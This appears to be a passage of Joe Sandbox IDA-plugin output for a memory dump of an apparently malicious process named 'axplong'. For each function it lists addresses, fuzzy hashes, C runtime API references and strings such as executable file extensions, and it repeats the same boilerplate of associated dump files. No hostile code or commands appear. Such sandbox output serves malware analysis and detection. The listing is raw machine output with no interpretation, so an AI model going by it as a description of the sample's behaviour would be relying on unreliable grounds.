Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 68fcdeeb20e31534a7d38424a36eba8f299ae836c63c7bc05de6a27a253b5200
Instruction ID: d0c0c553aae4a640587d53217e600d8cb88f9b9f607e17a73d3fcfbf3863ab38
Opcode Fuzzy Hash: 68fcdeeb20e31534a7d38424a36eba8f299ae836c63c7bc05de6a27a253b5200
Instruction Fuzzy Hash: 3BD02232503038A3CA063B98EC048ACBB0CAA46B103014311EE056BF208A9AAC409BE8

Function 007C7D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 007C7EFF

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: d64a3bfa5bbb4e13b1459e274866447c8275f953c453143e7dfd3339b0331d77
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: E351377230C64896DB3C9A3888DAFBE679A9F61300F14045DD843D7682DE5DDD45CF62

Function 00794CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ab0a773eb17abc798e8a758d11247c5dc64fbde147b778b7b23e1d3a04182a7
Instruction ID: 1457fa763e3dd6be0b7bf5b3e3b4677feecea600868370924ab646312cc1a9e6
Opcode Fuzzy Hash: 9ab0a773eb17abc798e8a758d11247c5dc64fbde147b778b7b23e1d3a04182a7
Instruction Fuzzy Hash: 48224EB3F515144BDB4CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9158648

Function 007D6F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c110ad83820fda94993b0cd4d58b63d01a25c61c7ef882136eceaef9cf14c02f
Instruction ID: 6c2de14838765dc10461d5e379f7bf2418c8438762e87bb0d3dfac1b3e4504ba
Opcode Fuzzy Hash: c110ad83820fda94993b0cd4d58b63d01a25c61c7ef882136eceaef9cf14c02f
Instruction Fuzzy Hash: 67B14A31214609DFD719CF28C486B657BB1FF45364F29865AE899CF3A1D33AE982CB40

Function 007AD312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0079247E

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 1f12f649fce8a1fa8dffa148c32a30db4616a6410ecf59ea8bc6ddb293338267
Instruction ID: 7fd34605d7073fadf166f2302ca8acc172652fe83c7493daa1fd7cf1d9eaf5f1
Opcode Fuzzy Hash: 1f12f649fce8a1fa8dffa148c32a30db4616a6410ecf59ea8bc6ddb293338267
Instruction Fuzzy Hash: 59517AB2A006058FDB25CF54D8857AEBBF0FB88311F24C66AD406EBA91D7789D50CF54

Function 00794AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ec932b6ebef8258c29052b01c2375f3050553eade59fbd226a938a62169f1d
Instruction ID: 900c3310828d581b6b429a2839fd5d81c6a5c24a5d73d4083e47bc7b92229420
Opcode Fuzzy Hash: c8ec932b6ebef8258c29052b01c2375f3050553eade59fbd226a938a62169f1d
Instruction Fuzzy Hash: 8651D6716093D18FC319CF2D9515636BBE1BFCA200F084A9EE0DA87282D738D644CB92

Function 007D777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5b1fb2c0d40ddf62553d3b0a148364afcacc2dc9d6affe81e0e7d12d7551d40
Instruction ID: 8a25ebe8de4b18d86309fa77320727191f7ffa30bc65dd6b8dd69f805c7b9911
Opcode Fuzzy Hash: a5b1fb2c0d40ddf62553d3b0a148364afcacc2dc9d6affe81e0e7d12d7551d40
Instruction Fuzzy Hash: A221B673F204394B770CC47ECC5727DB6E1C68C541745823AE8A6EA2C1D96CD917E2E4

Function 007D765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc34073d0a7c9e8b0cb82df18743a79aa6ecaba82719e7ab1f9d8a52465410f8
Instruction ID: f8e8050e92496965ff2d404398e874a14cc6d597ddc0b5d2317cd022581512a8
Opcode Fuzzy Hash: bc34073d0a7c9e8b0cb82df18743a79aa6ecaba82719e7ab1f9d8a52465410f8
Instruction Fuzzy Hash: 9F118A23F30C255B675C817D8C1727AA5D2EBD825071F533AD826E7384F9A4DE23D290

Function 007D8720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 45fe932c4440ff9da24f73b4167aac42ae4a764a40bf4fff68e631ea100cd58f
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 93115B7B20014143D6C486BDC8F45B7A7B6EBD5331B3D437BC0814B758DE2AE944D902

Function 007C645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e1748daed78890de0225781a804db89e6a9385cb128909560a936ad5d36a48
Instruction ID: c71023c15bb6bc017b24bd81c66dd64621db1c77713cfce9373acbfbf7811418
Opcode Fuzzy Hash: c0e1748daed78890de0225781a804db89e6a9385cb128909560a936ad5d36a48
Instruction Fuzzy Hash: E3E08C3014168CBBCF297F14C848E483B6AEB41799F00841CF8048A621CB7DEFA2CA80

Function 007CA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 4c71f0ec3b760028eb6d788accf573f395a2b8050a423e0adc3c36812a5d4c72
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 02E0463291122CFBCB15DB888908E8AF3BCEB48B05F19409EB501D3240C274DF00C7D1

Function 007C70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007C710B

Strings

.com, xrefs: 007C714B
.cmd, xrefs: 007C7129
.bat, xrefs: 007C713A
.exe, xrefs: 007C7118

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e4319fb7e9396dab1c1a278b94e4c64eb2cff86d7cedba8abcf502081cdd52bc
Instruction ID: 14b02944386fcb5c7fa49884250fce1363a0af6aa8c2b4237b63f170756c1075
Opcode Fuzzy Hash: e4319fb7e9396dab1c1a278b94e4c64eb2cff86d7cedba8abcf502081cdd52bc
Instruction Fuzzy Hash: B101A52760866A66565C645D9C07F3B179C9BC6BB471D002FF944E72C2DE5CEC428590

Function 00792E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00792F1F
__Mtx_unlock.LIBCPMT ref: 00792F8C
__Cnd_broadcast.LIBCPMT ref: 00792FA3
__Mtx_unlock.LIBCPMT ref: 007930B5
__Mtx_unlock.LIBCPMT ref: 0079315B

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 4683adfabb82a2d5cba245e385537e692c2e832277e1db857438c6cc1223b52f
Instruction ID: 8e24b2df8011f05b455e08cc662bb9ad6c2e4a718336a72ddef6b2eb1bead7d9
Opcode Fuzzy Hash: 4683adfabb82a2d5cba245e385537e692c2e832277e1db857438c6cc1223b52f
Instruction Fuzzy Hash: 45A104B0A01709EFDF11DF68D84976AB7B9FF56314F008269E815D7252EB38EA04CB91

Function 00792670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00792806
___std_exception_destroy.LIBVCRUNTIME ref: 007928A0

Strings

P#y, xrefs: 007927BE, 00792899
P#y, xrefs: 00792811

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#y$P#y
API String ID: 2970364248-534735823
Opcode ID: 644f4482ef3d92b9e2d9318a9c7a8979090eb22987862d0019645e5f3f65c767
Instruction ID: 0507d6469465ab9978bd041f9003a01653b8398bd89eca09a549eccce4b2f263
Opcode Fuzzy Hash: 644f4482ef3d92b9e2d9318a9c7a8979090eb22987862d0019645e5f3f65c767
Instruction Fuzzy Hash: A3717071E00248DBDF04DF98D885BDDBBB5EF59310F14422DE805A7242E778A984CBA5

Function 007A7870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 007A795C
__Cnd_destroy_in_situ.LIBCPMT ref: 007A7968
__Mtx_destroy_in_situ.LIBCPMT ref: 007A7971

Strings

@yz, xrefs: 007A794A

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yz
API String ID: 4078500453-3254128207
Opcode ID: ca137afc573bef1faa4a285e6c99193065647bab7e98abafa9d4ebfa74b63c86
Instruction ID: 39a6b0bd7e3ccf3da1c45360f90a0854093fa76a65defc2bcb1c18f21fceab4a
Opcode Fuzzy Hash: ca137afc573bef1faa4a285e6c99193065647bab7e98abafa9d4ebfa74b63c86
Instruction Fuzzy Hash: A931F3B29043049BD724DF64D845A6BB7E8EF96310F10072EF546C3602E779FA54C7A1

Function 00792AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00792B23

Strings

P#y, xrefs: 00792B18
This function cannot be called on a default constructed task, xrefs: 00792B03
P#y, xrefs: 00792B2E

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
